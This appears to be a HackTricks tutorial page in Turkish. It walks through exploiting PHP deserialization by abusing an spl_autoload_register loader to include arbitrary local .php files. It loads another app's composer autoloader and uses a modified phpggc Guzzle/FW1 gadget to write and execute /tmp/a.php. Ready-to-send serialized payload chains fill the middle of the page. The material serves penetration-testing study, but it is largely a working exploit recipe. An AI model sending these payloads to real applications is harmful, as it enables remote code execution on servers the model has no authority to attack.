# PHP - Deserialization + Autoload Classes
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
Öncelikle, [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php) nedir kontrol etmelisiniz.
## PHP deserialization + spl\_autoload\_register + LFI/Gadget
Bir **web uygulamasında PHP deserialization** bulduğumuz bir durumdayız ve **`phpggc`** içinde **gadget**'lara karşı **hiçbir** kütüphane zayıf değil. Ancak, aynı konteynerde **zayıf kütüphanelere sahip farklı bir composer web uygulaması** vardı. Bu nedenle, hedef **diğer web uygulamasının composer yükleyicisini yüklemek** ve bunu **deserialization'a karşı zayıf olan web uygulamasından bir gadget ile o kütüphaneyi istismar etmek** için kullanmaktı.
Adımlar:
* Bir **deserialization** buldunuz ve mevcut uygulama kodunda **hiçbir gadget** yok
* Aşağıdaki gibi bir **`spl_autoload_register`** fonksiyonunu kullanarak **herhangi bir yerel `.php` uzantılı dosyayı yükleyebilirsiniz**
* Bunun için, sınıf adının **`$name`** içinde olacağı bir deserialization kullanıyorsunuz. Serileştirilmiş bir nesnede sınıf adında **"/" veya "."** kullanamazsınız, ancak **kod** **alt çizgileri** ("\_") **eğik çizgilerle** ("/") **değiştiriyor**. Yani `tmp_passwd` gibi bir sınıf adı `/tmp/passwd.php`'ye dönüştürülecek ve kod bunu yüklemeye çalışacak.\
Bir **gadget örneği** şöyle olacaktır: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
```
{% hint style="success" %}
Eğer bir **dosya yükleme** alanınız varsa ve **`.php` uzantılı** bir dosya yükleyebiliyorsanız, bu işlevselliği **doğrudan kötüye kullanabilir** ve zaten RCE elde edebilirsiniz.
{% endhint %}
Benim durumumda, böyle bir şeyim yoktu, ama **aynı konteynerin** içinde **`phpggc` gadget'ına karşı savunmasız bir kütüphane** olan başka bir composer web sayfası vardı.
* Bu diğer kütüphaneyi yüklemek için, önce **o diğer web uygulamasının composer yükleyicisini yüklemeniz** gerekiyor (çünkü mevcut uygulamanın yükleyicisi diğerinin kütüphanelerine erişmeyecek). **Uygulamanın yolunu bilerek**, bunu çok kolay bir şekilde elde edebilirsiniz: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Benim durumumda, composer yükleyicisi `/www/frontend/vendor/autoload.php` içindeydi)
* Şimdi, **diğer uygulamanın composer yükleyicisini yükleyebilirsiniz**, bu yüzden kullanmak için **`phpgcc`** **payload'unu oluşturma** zamanı. Benim durumumda, **`Guzzle/FW1`** kullandım, bu da **dosya sisteminin içine herhangi bir dosya yazmamı** sağladı.
* NOT: **Oluşturulan gadget çalışmıyordu**, çalışması için **o payload'u** **`chain.php`** dosyasında **değiştirdim** ve sınıfların **tüm niteliklerini** **özelden genel** olarak ayarladım. Aksi takdirde, dizilimi çözülmüş dizeden sonra, oluşturulan nesnelerin niteliklerinin hiçbir değeri yoktu.
* Artık **diğer uygulamanın composer yükleyicisini yükleme** yoluna sahibiz ve **çalışan bir phpggc payload'u** var, ama **gadget kullanıldığında yükleyicinin yüklenmesi için BUNU AYNI İSTEĞİN İÇİNDE yapmamız gerekiyor**. Bunun için, her iki nesneyle birlikte bir serileştirilmiş dizi gönderdim:
* **Önce yükleyicinin yüklendiğini ve ardından payload'unu görebilirsiniz**
{% code overflow="wrap" %}
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
{% endcode %}
* Artık **bir dosya oluşturup yazabiliriz**, ancak kullanıcı **web sunucusundaki herhangi bir klasöre yazamaz**. Yani, yüklemede görebileceğiniz gibi, PHP **`system`** çağrısı ile bazı **base64** içeriği **`/tmp/a.php`** içinde oluşturulmuştur. Ardından, **oluşturulan `/tmp/a.php`** dosyasını yüklemek için diğer web uygulamasının composer yükleyicisini yüklemek üzere kullandığımız ilk tür yüklemeyi **yeniden kullanabiliriz**. Bunu deserialization gadget'ına ekleyin:
{% code overflow="wrap" %}
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
{% endcode %}
**Yükün Özeti**
* **Aynı konteynerdeki** farklı bir web uygulamasının composer autoload'unu yükle
* **Başka bir web uygulamasından** bir kütüphaneyi kötüye kullanmak için bir phpggc gadget'ı yükle (deserialization'a karşı savunmasız olan ilk web uygulamasında herhangi bir gadget yoktu)
* Gadget, /tmp/a.php dosyasında kötü niyetli komutlarla birlikte **PHP yükü** içeren bir dosya oluşturacak (web uygulaması kullanıcısı, herhangi bir web uygulamasının herhangi bir klasörüne yazamaz)
* Yükümüzün son kısmı, **oluşturulan php dosyasını yükleyecek** ve komutları çalıştıracak
Bu deserialization'ı **iki kez çağırmam gerekti**. Testlerimde, ilk seferde `/tmp/a.php` dosyası oluşturuldu ama yüklenmedi, ikinci seferde ise doğru bir şekilde yüklendi.
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}